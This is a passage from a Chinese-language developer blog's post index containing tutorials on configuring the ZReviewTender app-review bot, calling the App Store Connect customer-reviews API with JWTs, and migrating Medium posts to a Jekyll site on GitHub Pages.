ZReviewTender參考前文「6. 初始化 ZReviewTender (手動觸發執行一次)」使用 Gem 安裝如果熟悉 Gems 可以直接使用以下指令安裝 ZReviewTendergem install ZReviewTender使用 Gem 安裝 (不熟悉 Ruby/Gems)如果不熟悉 Ruby or Gems 可以 Follow 以下步驟 Step by Step 安裝 ZReviewTender macOS 雖自帶 Ruby,但建議使用 rbenv or rvm 安裝新的 Ruby 及管理 Ruby 版本 (我使用 2.6.5 ) 使用 rbenv or rvm 安裝 Ruby 2.6.5,並切換至 rbenv/rvm 的 Ruby 使用 which ruby 確認當前使用的 Ruby 非 /usr/bin/ruby 系統 Ruby Ruby 環境 Ok 後使用以下指令安裝 ZReviewTendergem install ZReviewTender部署 — 想自行擴充功能手動 git clone ZReviewTender Source Code 確認 & 完善 Ruby 環境 進入目錄,執行 bundle install ZReviewTender 安裝相關依賴Processor 建立方式可參考後面文章內容。設定ZReviewTender — 使用 yaml 檔設定 Apple/Google 評價機器人。[推薦] 直接使用文章下方的執行指令 — 「產生設定檔案」:ZReviewTender -i直接產生空白的 apple.yml & android.yml 設定檔。Apple (iOS/macOS App)參考 apple.example.yml 檔案:ZReviewTender/apple.example.yml at main · ZhgChgLi/ZReviewTender You can’t perform that action at this time. You signed in with another tab or window. You signed out in another tab or… github.com ⚠️ 下載下來 apple.example.yml 後記得將檔名改成 apple.ymlplatform: 'apple'appStoreConnectP8PrivateKeyFilePath: '' # APPLE STORE CONNECT API PRIVATE .p8 KEY File PathappStoreConnectP8PrivateKeyID: '' # APPLE STORE CONNECT API PRIVATE KEY IDappStoreConnectIssueID: '' # APPLE STORE CONNECT ISSUE IDappID: '' # APP ID...appStoreConnectIssueID: App Store Connect -> Keys -> App Store Connect API Issuer ID: appStoreConnectIssueIDappStoreConnectP8PrivateKeyID & appStoreConnectP8PrivateKeyFilePath: Name: ZReviewTender Access: App Manager appStoreConnectP8PrivateKeyID: Key ID appStoreConnectP8PrivateKeyFilePath: /AuthKey_XXXXXXXXXX.p8 ,Download API Key,並將檔案放入與 config yml 同目錄下。appID:appID: App Store Connect -> App Store -> General -> App Information -> Apple IDGCP Service AccountZReviewTender 所使用到的 Google API 服務 (撈取商城評價、Google 翻譯、Google Sheet) 都是使用 Service Account 驗證方式。可先依照 官方步驟建立 GCP & Service Account 下載保存 GCP Service Account 身份權限金鑰 ( *.json )。 如要使用自動翻譯功能請確認 GCP有啟用 Cloud Translation API 和使用的 Service Account 也有加入 如要使用記錄到 Google Sheet 功能請確認 GCP 有啟用 Google Sheets API 、 Google Drive API 和使用的 Service Account 也有加入Google Play Console (Android App)參考 android.example.yml 檔案:ZReviewTender/android.example.yml at main · ZhgChgLi/ZReviewTender You can’t perform that action at this time. You signed in with another tab or window. You signed out in another tab or… github.com ⚠️ 下載下來 android.example.yml 後記得將檔名改成 android.ymlplatform: 'android'packageName: '' # Android App Package NamekeyFilePath: '' # Google Android Publisher API Credential .json File PathplayConsoleDeveloperAccountID: '' # Google Console Developer Account IDplayConsoleAppID: '' # Google Console App ID......packageName:packageName: com.XXXXX 可於 Google Play Console -> Dashboard -> App 中取得playConsoleDeveloperAccountID & playConsoleAppID:可由 Google Play Console -> Dashboard -> App 頁面網址中取得:https://play.google.com/console/developers/ playConsoleDeveloperAccountID /app/ playConsoleAppID /app-dashboard將用於組合評價訊息連結,讓團隊可以點擊連結快速進入後台評價回覆頁面。keyFilePath:最重要的資訊,GCP Service Account 身份權限金鑰 ( *.json )需要按照 官方文件 步驟,建立 Google Cloud Project & Service Account 並到 Google Play Console -> Setup -> API Access 中完成啟用 Google Play Android Developer API &連結專案,到 GCP 點擊下載服務帳戶的 JSON 金鑰。JSON 金鑰範例內容如下:{ \"type\": \"service_account\", \"project_id\": \"XXXX\", \"private_key_id\": \"XXXX\", \"private_key\": \"-----BEGIN PRIVATE KEY-----\\nXXXX\\n-----END PRIVATE KEY-----\\n\", \"client_email\": \"XXXX@XXXX.iam.gserviceaccount.com\", \"client_id\": \"XXXX\", \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\", \"token_uri\": \"https://oauth2.googleapis.com/token\", \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\", \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/XXXX.iam.gserviceaccount.com\"} keyFilePath: /gcp_key.json 金鑰檔案路徑,將檔案放入與 config yml 同目錄下。Processorsprocessors: - FilterProcessor: class: \"FilterProcessor\" enable: true # enable keywordsInclude: [] # keywords you want to filter out ratingsInclude: [] # ratings you want to filter out territoriesInclude: [] # territories you want to filter out - GoogleTranslateProcessor: # Google Translate Processor, will translate review text to your language, you can remove whole block if you don't needed it. class: \"GoogleTranslateProcessor\" enable: false # enable googleTranslateAPIKeyFilePath: '' # Google Translate API Credential .json File Path googleTranslateTargetLang: 'zh-TW' # Translate to what Language googleTranslateTerritoriesExclude: [\"TWN\",\"CHN\"] # Review origin Territory (language) that you don't want to translate. - SlackProcessor: # Slack Processor, resend App Review to Slack. class: \"SlackProcessor\" enable: true # enable slackTimeZoneOffset: \"+08:00\" # Review Created Date TimeZone slackAttachmentGroupByNumber: \"1\" # 1~100, how many review message in 1 slack message. slackBotToken: \"\" # Slack Bot Token, send slack message throught Slack Bot. slackBotTargetChannel: \"\" # Slack Bot Token, send slack message throught Slack Bot. (recommended, first priority) slackInCommingWebHookURL: \"\" # Slack In-Comming WebHook URL, Send slack message throught In-Comming WebHook, not recommended, deprecated. ...More Processors...ZReviewTender 自帶四個 Processor,先後順序會影響到資料處理流程 FilterProcessor->GoogleTranslateProcessor->SlackProcessor-> GoogleSheetProcessor。FilterProcessor:依照指定條件過濾撈取的評價,只處理符合條件的評價。 class: FilterProcessor 無需調整,指向 lib/Processors/ FilterProcessor .rb enable: true / false 啟用此 Processor or Not keywordsInclude: [“ 關鍵字1 ”,“ 關鍵字2 ”…] 篩選出內容包含這些關鍵字的評價 ratingsInclude: [ 1 , 2 …] 1~5 篩選出包含這些評價分數的評價 territoriesInclude: [“ zh-hant ”,” TWN ”…] 篩選出包含這些地區(Apple)或語系(Android)的評價GoogleTranslateProcessor:將評價翻譯成指定語言。 class: GoogleTranslateProcessor 無需調整,指向 lib/Processors/ GoogleTranslateProcessor .rb enable: true / false 啟用此 Processor or Not googleTranslateAPIKeyFilePath: /gcp_key.json GCP Service Account 身份權限金鑰 File Path *.json ,將檔案放入與 config yml 同目錄下,內容範例可參考上方 Google Play Console JSON 金鑰範例。(請確認該 JSON key 之 service account 有 Cloud Translation API 使用權限) googleTranslateTargetLang: zh-TW 、 en …目標翻譯語言 googleTranslateTerritoriesExclude: [“ zh-hant ”,” TWN ”…] 不需翻譯的地區(Apple)或語系(Android)SlackProcessor:轉發評價到 Slack。 class: SlackProcessor 無需調整,指向 lib/Processors/ SlackProcessor .rb enable: true / false 啟用此 Processor or Not slackTimeZoneOffset: +08:00 評價時間顯示時區 slackAttachmentGroupByNumber: 1 設定幾則 Reviews 合併成同一則訊息,加速發送;預設 1 則 Review 1 則 Slack 訊息。 slackBotToken: xoxb-xxxx-xxxx-xxxx Slack Bot Token ,Slack 建議建立一個 Slack Bot 包含 postMessages Scope 並使用其發送 Slack 訊息 slackBotTargetChannel: CXXXXXX 群組 ID ( 非群組名稱 ),Slack Bot 要發送到哪個 Channel 群組;且 需要把你的 Slack Bot 加入到該群組 slackInCommingWebHookURL: https://hooks.slack.com/services/XXXXX 使用舊的 InComming WebHookURL 發送訊息到 Slack,注意!Slack 不建議再繼續使用此方法發送訊息。 Please note, this is a legacy custom integration — an outdated way for teams to integrate with Slack. These integrations lack newer features and they will be deprecated and possibly removed in the future. We do not recommend their use. Instead, we suggest that you check out their replacement: Slack apps . slackBotToken 與 slackInCommingWebHookURL,SlackProcessor 會優選選擇使用 slackBotTokenGoogleSheetProcessor紀錄評價到 Google Sheet。 class: GoogleSheetProcessor 無需調整,指向 lib/Processors/ SlackProcessor .rb enable: true / false 啟用此 Processor or Not googleSheetAPIKeyFilePath: /gcp_key.json GCP Service Account 身份權限金鑰 File Path *.json ,將檔案放入與 config yml 同目錄下,內容範例可參考上方 Google Play Console JSON 金鑰範例。(請確認該 JSON key 之 service account 有 Google Sheets API 、 Google Drive API 使用權限) googleSheetTimeZoneOffset: +08:00 評價時間顯示時區 googleSheetID: Google Sheet ID 可由 Google Sheet 網址中取得:https://docs.google.com/spreadsheets/d/ googleSheetID / googleSheetName: Sheet 名稱, e.g. Sheet1 keywordsInclude: [“ 關鍵字1 ”,“ 關鍵字2 ”…] 篩選出內容包含這些關鍵字的評價 ratingsInclude: [ 1 , 2 …] 1~5 篩選出包含這些評價分數的評價 territoriesInclude: [“ zh-hant ”,” TWN ”…] 篩選出包含這些地區(Apple)或語系(Android)的評價 values: [ ] 評價資訊的欄位組合%TITLE% 評價標題%BODY% 評價內容%RATING% 評價分數 1~5%PLATFORM% 評價來源平台 Apple or Android%ID% 評價ID%USERNAME% 評價%URL% 評價前往連結%TERRITORY% 評價地區(Apple)或評價語系(Android)%APPVERSION% 被評價的 App 版本%CREATEDDATE% 評價建立日期例如我的 Google Sheet 欄位如下:評價分數,評價標題,評價內容,評價資訊則 values 可設定成:values: [\"%TITLE%\",\"%BODY%\",\"%RATING%\",\"%PLATFORM% - %APPVERSION%\"]自訂 Processor 串接自己的工作流程若需要自訂 Processor 請改用手動部署,因 gem 上的 ZReviewTender 已打包無法動態調整。您可參考 lib/Processors/ProcessorTemplate.rb 建立您的擴充功能:$lib = File.expand_path('../lib', File.dirname(__FILE__))require \"Models/Review\"require \"Models/Processor\"require \"Helper\"require \"ZLogger\"# Add to config.yml:## processors:# - ProcessorTemplate:# class: \"ProcessorTemplate\"# parameter1: \"value\"# parameter2: \"value\"# parameter3: \"value\"# ...#class ProcessorTemplate < Processor def initialize(config, configFilePath, baseExecutePath) # init Processor # get paraemter from config e.g. config[\"parameter1\"] # configFilePath: file path of config file (apple.yml/android.yml) # baseExecutePath: user excute path end def processReviews(reviews, platform) if reviews.length < 1 return reviews end ## do what your want to do with reviews... ## return result reviews return reviews endendinitialize 會給予: config Object: 對應 config yml 內的設定值 configFilePath: 使用的 config yml 檔案路徑 baseExecutePath: 使用者在哪個路徑執行 ZReviewTenderprocessReviews(reviews, platform):爬取完新評價後,會進入這個 function 讓 Processor 有機會處理,處理完請 return 結果的 Reviews。Review 資料結構定義在 lib/Models/ Review.rb附註XXXterritorXXX 參數: Apple 使用地區:TWM/JPN… Android 使用語系:zh-hant/en/…若不需要某個 Processor: 可以設定 enable: false 或是直接移除該 Processor Config Block。Processors 執行順序可依照您的需求自行調整: e.g. 先執行 Filter 再執行翻譯再執行 Slack 再執行 Log to Google Sheet…執行 ⚠️ 使用 Gem 可直接下 ZReviewTender ,若為手動部署專案請使用 bundle exec ruby bin/ZReviewTender 執行。產生設定檔案:ZReviewTender -i從 apple.example.yml & android.example.yml 產生 apple.yml & android.yml 到當前執行目錄的 config/ 目錄下。執行 Apple & Android 評價爬取:ZReviewTender -r 默認讀取 /config/ 下 apple.yml & android.yml 設定執行 Apple & Android 評價爬取 & 指定設定檔目錄:ZReviewTender --run=設定檔目錄 默認讀取 /config/ 下 apple.yml & android.yml 設定只執行 Apple 評價爬取:ZReviewTender -a 默認讀取 /config/ 下 apple.yml 設定只執行 Apple 評價爬取 & 指定設定檔位置:ZReviewTender --apple=apple.yml設定檔位置只執行 Android 評價爬取:ZReviewTender -g 默認讀取 /config/ 下 android.yml 設定只執行 Android 評價爬取 & 指定設定檔位置:ZReviewTender --googleAndroid=android.yml設定檔位置清除執行紀錄回到初始設定ZReviewTender -d會刪除 /latestCheckTimestamp 裡的 Timestamp 紀錄檔案,回到初始狀態,再次執行爬取會再次收到 init success 訊息:當前 ZReviewTender 版本ZReviewTender -v顯示當前 ZReviewTender 再 RubyGem 上的最新版本號。更新 ZReviewTender 到最新版 (rubygem only)ZReviewTender -n第一次執行第一次執行成功會發送初始化成功訊息到指定 Slack Channel,並在執行相應目錄下產生 latestCheckTimestamp/Apple , latestCheckTimestamp/Android 檔案紀錄最後爬取的評價 Timestamp。另外還會產生一個 execute.log 紀錄執行錯誤。設定排程持續執行設定排程定時( crontab )持續執行爬取新評價,ZReviewTender 會爬取 latestCheckTimestamp 上次爬取的評價 Timestamp 到這次爬取時間內的新評價,並更新 Timestamp 紀錄檔案。e.g. crontab: 15 */6 * * * ZReviewTender -r另外要注意因為 Android API 只提供查詢近 7 天新增或編修的評價,所以排成週期請勿超過 7 天,以免有評價遺漏。https://developers.google.com/android-publisher/reply-to-reviews#retrieving_a_set_of_reviewsGithub Action 部署ZReviewTender App Reviews Automatic Botname: ZReviewTenderon: workflow_dispatch: schedule: - cron: \"15 */6 * * *\" #每六小時跑一次,可參照上方 crontab 自行更改設定jobs: ZReviewTender: runs-on: ubuntu-latest steps: - name: ZReviewTender Automatic Bot uses: ZhgChgLi/ZReviewTender@main with: command: '-r' #執行 Apple & iOS App 評價檢查,可參照上方改成其他執行指令⚠️️️️️ 再次警告!務必確保你的設定檔及金鑰無法被公開存取,因其中的敏感資訊可能導致 App/Slack 權限被盜用;作者不對被盜用負任何責任。如果有發生意外的錯誤,請 建立一個 Issue 附上紀錄資訊,將會盡快修正!Done使用教學結束,再來是幕後開發祕辛分享。=========================與 App Reviews 的戰爭本以為去年總結的 AppStore APP’s Reviews Slack Bot 那些事 及運用相關技術實現的 ZReviewsBot — Slack App Review 通知機器人 ,與整合 App 最新評價進入公司工作流程這件事就告一段落了;沒想到 Apple 居然在今年 更新了 App Store Connect API ,讓這件事能持續演進。去年總結出來的 Apple iOS/macOS App 撈取評價的解決方案: Public URL API (RSS) ⚠️: 無法彈性篩選、給的資訊也少、有數量上限、還有我們偶爾會遇到資料錯亂問題,很不穩定;官方未來可能棄用 透過 Fastlane — SpaceShip 幫我們封裝複雜的網頁操作、Session 管理,去 App Store Connection 網站後台撈取評價資料 (等於是起一個網頁模擬器爬蟲去後台爬資料)。依照去年做法就只能使用方法二來達成,但效果不太完美;Session 會過期,需要人工定期更新,且無法放在 CI/CD Server 上,因為 IP 一變 Session 會馬上過期。important-note-about-session-duration by Fastlane今年收到 Apple 更新了 App Store Connect API 消息後立馬著手重新設計新的評價機器人,除了改用官方 API 外;還優化了之前的架構設計及更熟悉 Ruby 用法。App Store Connect API 開發上遇到的問題 List All Customer Reviews for an App 這個 Endpoint 不會給 App 版本資訊很詭異,只能 workaround 先打這個 endpoint 篩出最新評價,再打 List All App Store Versions for an App & List All Customer Reviews for an App Store Version 組合出 App 版本資訊。AndroidpublisherV3 開發上遇到的問題 API 不提供取得所有評價列表的方法,只能取得近 7 天新增/編修的評價。 同樣使用 JWT 串接 Google API (不依賴相關類別庫 e.g. google-apis-androidpublisher_v3) 附上個 Google API JWT 產生&使用範例:require \"jwt\"require \"time\"payload = { iss: \"GCP API 身份權限金鑰 (*.json) 檔案中的 client_email 欄位\", sub: \"GCP API 身份權限金鑰 (*.json) 檔案中的 client_email 欄位\", scope: [\"https://www.googleapis.com/auth/androidpublisher\"]].join(' '), aud: \"GCP API 身份權限金鑰 (*.json) 檔案中的 token_uri 欄位\", iat: Time.now.to_i, exp: Time.now.to_i + 60*20}rsa_private = OpenSSL::PKey::RSA.new(\"GCP API 身份權限金鑰 (*.json) 檔案中的 private_key 欄位\")token = JWT.encode payload, rsa_private, 'RS256', header_fields = {kid:\"GCP API 身份權限金鑰 (*.json) 檔案中的 private_key_id 欄位\", typ:\"JWT\"}uri = URI(\"API 身份權限金鑰 (*.json) 檔案中的 token_uri 欄位\")https = Net::HTTP.new(uri.host, uri.port)https.use_ssl = truerequest = Net::HTTP::Post.new(uri)request.body = \"grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=#{token}\"response = https.request(request).read_bodybearer = result[\"access_token\"]### use bearer tokenuri = URI(\"https://androidpublisher.googleapis.com/androidpublisher/v3/applications/APP_PACKAGE_NAME/reviews\")https = Net::HTTP.new(uri.host, uri.port)https.use_ssl = true request = Net::HTTP::Get.new(uri)request['Authorization'] = \"Bearer #{bearer}\"; response = https.request(request).read_body result = JSON.parse(response)# success!有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "App Store Connect API 現已支援 讀取和管理 Customer Reviews", "url": "/posts/f1365e51902c/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, app-store-connect, api, app-review, integration", "date": "2022-07-20 22:50:44 +0800", "snippet": "App Store Connect API 現已支援 讀取和管理 Customer ReviewsApp Store Connect API 2.0+ 全面更新,支援 In-app purchases、Subscriptions、Customer Reviews 管理2022/07/19 NewsUpcoming transition from the XML feed to the App...", "content": "App Store Connect API 現已支援 讀取和管理 Customer ReviewsApp Store Connect API 2.0+ 全面更新,支援 In-app purchases、Subscriptions、Customer Reviews 管理2022/07/19 NewsUpcoming transition from the XML feed to the App Store Connect API今早收到 Apple 開發者最新消息 ,App Store Connect API 新增支援 In-app purchases、Subscriptions、Customer Reviews 管理三項功能;讓開發者可以更彈性的將 Apple 開發流程與 CI/CD 或是商業後台做更密切、有效率的整合!In-app purchases、Subscriptions 我沒碰,Customer Reviews 讓我興奮不已,之前發表過一篇「 AppStore APP’s Reviews Slack Bot 那些事 」探討 App 評價與工作流程整合的方式。Slack 評價機器人 — ZReviewsBot在 App Store Connect API 還沒支援之前,只有兩種方法能獲取 iOS App 評價:一 是 透過訂閱 Public RSS 取得,但是此 RSS 無法讓人彈性篩選、給的資訊也少、有數量上限、還有我們偶爾會遇到資料錯亂問題,很不穩定二 是 透過 Fastlane — SpaceShip 幫我們封裝複雜的網頁操作、Session 管理,去 App Store Connection 網站後台撈取評價資料 (等於是起一個網頁模擬器爬蟲去後台爬資料)。 好處是資料齊全、穩定,我們串接了一年沒有遇到任何資料問題。 壞處是 Session 每個月都會過期,要手動重新登入,而且 Apple ID 目前全面都要綁定 2FA 驗證,所以這段也要手動完成,這樣才能產出有效的 Session;另外 Session 如果產的跟用的 IP 不一樣會馬上過期 (因此很難將機器人放上不固定 IP 的網路服務)。important-note-about-session-duration by Fastlane 每個月不定時過期,要不定時去更新,時間久了真的很煩;而且這個 「 Know How 」其實不好交接給其他同事。 但因為沒有其他方法,所以也只能這樣,直到今天早上收到消息…. ⚠️ 注意:官方預計在 2022/11 取消原本的 XML (RSS) 存取方式。2022/08/10 Update我已基於新的 App Store Connect API 開發了新的 「 ZReviewTender — 免費開源的 App Reviews 監控機器人 」App Store Connect API 2.0+ Customer Reviews 試玩建立 App Store Connect API Key首先我們要登入 App Store Connect 後台,前往「Users and Access」->「Keys」->「 App Store Connect API 」:點擊「+」,輸入名稱和權限;權限細則可參考官網說明,為了減少測試問題,這邊先選擇「App Manager」把權限開到最大。點擊右方「Download API Key」下載保存你的「AuthKey_XXX.p8」Key。 ⚠️ 注意:這個 Key 只能下載一次請 妥善保存 ,若遺失只能 Revoke 現有的 & 重新建立。⚠️ ⚠️ 切勿外洩 .p8 Key File⚠️App Store Connect API 存取方式curl -v -H 'Authorization: Bearer [signed token]' \"https://api.appstoreconnect.apple.com/v1/apps\"Signed Token (JWT, JSON Web Token) 產生方式參考 官方文件 。 JWT Header:{kid:\"YOUR_KEY_ID\", typ:\"JWT\", alg:\"ES256\"}YOUR_KEY_ID :參考上圖。 JWT Payload:{ iss: 'YOUR_ISSUE_ID', iat: TOKEN 建立時間 (UNIX TIMESTAMP e.g 1658326020), exp: TOKEN 失效時間 (UNIX TIMESTAMP e.g 1658327220), aud: 'appstoreconnect-v1'}YOUR_ISSUE_ID :參考上圖。exp TOKEN 失效時間 :會因為不同存取功能或設定有不同的時間限制,有的可以永久、有的超過 20 分鐘即失效,需要重新產生,詳細可參考 官方說明 。使用 JWT.IO 或是以下附的 Ruby 範例產生 JWTrequire 'jwt'require 'time'keyFile = File.read('./AuthKey_XXXX.p8') # YOUR .p8 private key file pathprivateKey = OpenSSL::PKey::EC.new(keyFile)payload = { iss: 'YOUR_ISSUE_ID', iat: Time.now.to_i, exp: Time.now.to_i + 60*20, aud: 'appstoreconnect-v1' }token = JWT.encode payload, privateKey, 'ES256', header_fields={kid:\"YOUR_KEY_ID\", typ:\"JWT\"}puts tokendecoded_token = JWT.decode token, privateKey, true, { algorithm: 'ES256' }puts decoded_token Ruyb JWT 工具在此: https://github.com/jwt/ruby-jwt最終會得到類似以下的 JWT 結果:4oxjoi8j69rHQ58KqPtrFABBWHX2QH7iGFyjkc5q6AJZrKA3AcZcCFoFMTMHpM.pojTEWQufMTvfZUW1nKz66p3emsy2v5QseJX5UJmfRjpxfjgELUGJraEVtX7tVg6aicmJT96q0snP034MhfgoZAB46MGdtC6kv2Vj6VeL2geuXG87Ys6ADijhT7mfHUcbmLPJPNZNuMttcc.fuFAJZNijRHnCA2BRqq7RZEJBB7TLsm1n4WM1cW0yo67KZp-Bnwx9y45cmH82QPAgKcG-y1UhRUrxybi5b9iNN打看看?有了 Token 我們就能來打看看 App Store Connect API!curl -H 'Authorization: Bearer JWT' \"https://api.appstoreconnect.apple.com/v1/apps/APPID/customerReviews\" APPID 可從 App Store Connect 後台取得:或是 App 商城頁面: https://apps.apple.com/tw/app/pinkoi/id557252416 APPID = 557252416 成功!🚀 我們現在可以使用這個方式撈取 App 評價,資料完整且可以完全交給機器執行,不需人工例行維護 (JWT 雖會過期,但是 Private Key 不會,我們每次請求都可藉由 Private Key 簽名產生 JWT 去存取即可)。 其他篩選參數、操作方法請參考 官方文件 。 ⚠️ 您只能存取您有權限的 App 評價資料⚠️完整 Ruby 測試專案用一個 Ruby 檔案做了以上流程,可直接 Clone 下來填入資料即可測試使用。首次打開:bundle install開始使用:bundle exec ruby jwt.rbNext同理我們可以透過 API 去存取管理 ( API Overview ): [New] Customer reviews [New] Subscriptions [New] In-App Purchases [New] Xcode Cloud Workflows And Builds [Updated] Improving your App’s Performance TestFlight Users And Roles App Clips App Management App Metadata Pricing And Availability Provisioning Sales and Trends有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "無痛轉移 Medium 到自架網站", "url": "/posts/a0c08d579ab1/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, jekyll, github-actions, medium, self-hosted", "date": "2022-07-17 00:00:47 +0800", "snippet": "無痛轉移 Medium 到自架網站將 Medium 內容搬遷至 Github Pages (with Jekyll/Chirpy)zhgchg.li背景經營 Medium 的第四年,已累積超過 65 篇文章,將近 1000+ 小時的時間心血;當初會選擇 Medium 的原因是簡單方便,可以很好的把心思放在撰寫文章上,不需要去管其他的事;在此之前曾經嘗試過自架 Wordpress,但都把心思放...", "content": "無痛轉移 Medium 到自架網站將 Medium 內容搬遷至 Github Pages (with Jekyll/Chirpy)zhgchg.li背景經營 Medium 的第四年,已累積超過 65 篇文章,將近 1000+ 小時的時間心血;當初會選擇 Medium 的原因是簡單方便,可以很好的把心思放在撰寫文章上,不需要去管其他的事;在此之前曾經嘗試過自架 Wordpress,但都把心思放在弄環境、樣式、Plguin 這些事情上,感覺怎麼調整都不滿意,調整好後又發現載入太慢、閱讀體驗不佳、後台撰寫文章介面也不夠人性化,然後就沒怎麼在更新了。隨著在 Medium 撰寫的文章越來越多、累積了一些流量與追蹤者後,又開始想自己掌握著這些成果,而不是被第三方平台掌控 (e.g Medium 關站心血全沒),所以從前年開始就一直在尋覓第二備份網站,會持續經營 Medium 但也會同步把內容發佈到自己能掌控的網站上;當時找到的解決方案是 — Google Site 但老實說只能當成個人「入口網站」使用,文章撰寫界面功能有限,無法真的把所有文章心血搬過去。最終還是走回自架的的道路,不同的是採用的並非動態網站(e.g. wordpress),而是靜態網站;相較之下能支援的功能較少,但是我要的就是文章撰寫功能跟簡潔流暢可客製化的瀏覽體驗,其他都不需要!靜態網站的工作流程是:在本地使用 Markdown 格式撰寫好文章,然後將其透過靜態網站引擎轉換為 靜態網頁 上傳到伺服器,即完成;靜態網頁,瀏覽體驗快速!使用 Markdown 格式寫作,可以讓文章兼容更多不同平台;如不習慣,也可以找線上或線下的 Markdown 撰寫工具,體驗就跟直接在 Medium 撰寫一樣!。綜合以上,這個方案可以達成我希望流暢的瀏覽體驗及方便的撰寫界面兩個維度的需求。成果zhgchg.li 支援客製化顯示樣式 支援客製化頁面調整 (e.g. 插入廣告、js widget) 支援自訂頁面 支援自訂域名 靜態化頁面載入快速、瀏覽體驗佳 使用 Git 版本控制,文章所有的歷史版本都能保留恢復 全自動定時自動同步 Medium 文章到網站環境及工具 環境語言 :Ruby 依賴管理工具 : RubyGems.org 、 Bundler 靜態網站引擎 : Jekyll (Based on Ruby) 文章格式 :Markdown 伺服器 : Github Page (免費、無限流量/容量 靜態網站伺服器) CI/CD : Github Action (免費 2,000 mins+/月) Medium 文章轉換 Markdown 工具 : ZMediumToMarkdown (Based on Ruby) 版本控制 : Git (可選) Git GUI : Git Fork (可選) 網域服務 : Namecheap安裝 Ruby這邊只以我的環境為例,其他作業系統版本請 Google 如何安裝 Ruby 。 macOS Monterey 12.1 rbenv ruby 2.6.5安裝 Brew/bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"在 Terminal 輸入以上指令安裝 Brew。安裝 rbenvbrew install rbenv ruby-buildMacOS 雖自帶 Ruby 但建議使用 rbenv 安裝另一個 Ruby 與系統自帶的區隔開來,在 Terminal 輸入以上指令安裝 rbenv。rbenv init在 Terminal 輸入以上指令初始化 rbenv 關閉&重新打開 Terminal。在 Terminal 輸入 rbenv 檢查是否安裝成功!成功!使用 rbenv 安裝 Rubyrbenv install 2.6.5在 Terminal 輸入以上指令安裝 Ruby 2.6.5 版本。rbenv global 2.6.5在 Terminal 輸入以上指令將 Terminal 所使用的 Ruby 版本從系統自帶的切換到 rbenv 的版本。在 Terminal 輸入 rbenv versions 查看當前設定:在 Terminal 輸入 ruby -v 查看當前 Ruby、 gem -v 查看當前 RubyGems 狀況: *Ruby 安裝完後理應也安裝好 RubyGems 了。成功!安裝 Jekyll & Bundler & ZMediumToMarkdowngem install jekyll bundler ZMediumToMarkdown在 Terminal 輸入以上指令安裝 Jekyll & Bundler & ZMediumToMarkdown。完成!從模版建立 Jekyll Blog預設的 Jekyll Blog 樣式非常簡潔,我們可以從以下網站找到自己喜歡的樣式並套用: GitHub.com #jekyll-theme repos jamstackthemes.dev jekyllthemes.org jekyllthemes.io jekyll-themes.com安裝方式一般使用 gem-based themes ,也有的 Repo 提供 Fork 方式安裝;甚至是提供直接一鍵安裝方式;總之每個模板的安裝方式可能有所不同,請參閱模板的教學使用。 另外要注意,因我們要部署到 Github Pages 上,依據官方文件所說並非所有模板都能適用。Chirpy 模版這邊就以我 Blog 採用的模版 Chirpy 為示範,此模版提供最傻瓜的一鍵安裝方式,可以直接使用。 其他模版比較少有提供類似的一鍵安裝,在不熟悉 Jeklly、Github Pages 的情況下先使用此模版是比較好入門的方式;日後有機會再更新文章講其他的模版安裝方式。 另外在 Github 上找可以直接 Fork 的模版也可以(e.g. al-folio )直接使用,如果都不是,是需要自己手動安裝的模版就要自行研究如何設定 Github Pages 部署,這邊我稍微研究了一下沒成功,待日後有結果再回來文章補充分享。從 Git Template 建立 Git Repohttps://github.com/cotes2020/chirpy-starter/generate Repository name: Github帳號/組織名稱.github.io ( 務必使用這個格式 ) 務必選擇「Public」公開 Repo點擊「Create repository from template」完成 Repo 建立。Git Clone 專案git clone git@github.com:zhgchgli0718/zhgchgli0718.github.io.gitgit clone 剛剛建立的 Repo。執行 bundle 安裝依賴:執行 bundle lock — add-platform x86_64-linux 鎖定版本修改網站設定打開 _config.yml 設定檔案進行設定:# The Site Configuration# Import the themetheme: jekyll-theme-chirpy# Change the following value to '/PROJECT_NAME' ONLY IF your site type is GitHub Pages Project sites# and doesn't have a custom domain.# baseurl: ''# The language of the webpage › http://www.lingoes.net/en/translator/langcode.htm# If it has the same name as one of the files in folder `_data/locales`, the layout language will also be changed,# otherwise, the layout language will use the default value of 'en'.lang: en# Additional parameters for datetime localization, optional. › https://github.com/iamkun/dayjs/tree/dev/src/localeprefer_datetime_locale:# Change to your timezone › http://www.timezoneconverter.com/cgi-bin/findzone/findzonetimezone:# jekyll-seo-tag settings › https://github.com/jekyll/jekyll-seo-tag/blob/master/docs/usage.md# ↓ --------------------------title: ZhgChgLi # the main titletagline: Live a life you will remember. # it will display as the sub-titledescription: >- # used by seo meta and the atom feed ZhgChgLi iOS Developer 求知若渴 教學相長 更愛電影/美劇/西音/運動/生活# fill in the protocol & hostname for your site, e.g., 'https://username.github.io'url: 'https://zhgchg.li'github: username: ZhgChgLi # change to your github usernametwitter: username: zhgchgli # change to your twitter usernamesocial: # Change to your full name. # It will be displayed as the default author of the posts and the copyright owner in the Footer name: ZhgChgLi email: zhgchgli@gmail.com # change to your email address links: - https://medium.com/@zhgchgli - https://github.com/ZhgChgLi - https://www.linkedin.com/in/zhgchgligoogle_site_verification: # fill in to your verification string# ↑ --------------------------# The end of `jekyll-seo-tag` settingsgoogle_analytics: id: G-6WZJENT8WR # fill in your Google Analytics ID # Google Analytics pageviews report settings pv: proxy_endpoint: # fill in the Google Analytics superProxy endpoint of Google App Engine cache_path: # the local PV cache data, friendly to visitors from GFW region# Prefer color scheme setting.## Note: Keep empty will follow the system prefer color by default,# and there will be a toggle to switch the theme between dark and light# on the bottom left of the sidebar.## Available options:## light - Use the light color scheme# dark - Use the dark color scheme#theme_mode: # [light|dark]# The CDN endpoint for images.# Notice that once it is assigned, the CDN url# will be added to all image (site avatar & posts' images) paths starting with '/'## e.g. 'https://cdn.com'img_cdn:# the avatar on sidebar, support local or CORS resourcesavatar: '/assets/images/zhgchgli.jpg'# boolean type, the global switch for ToC in posts.toc: truecomments: active: disqus 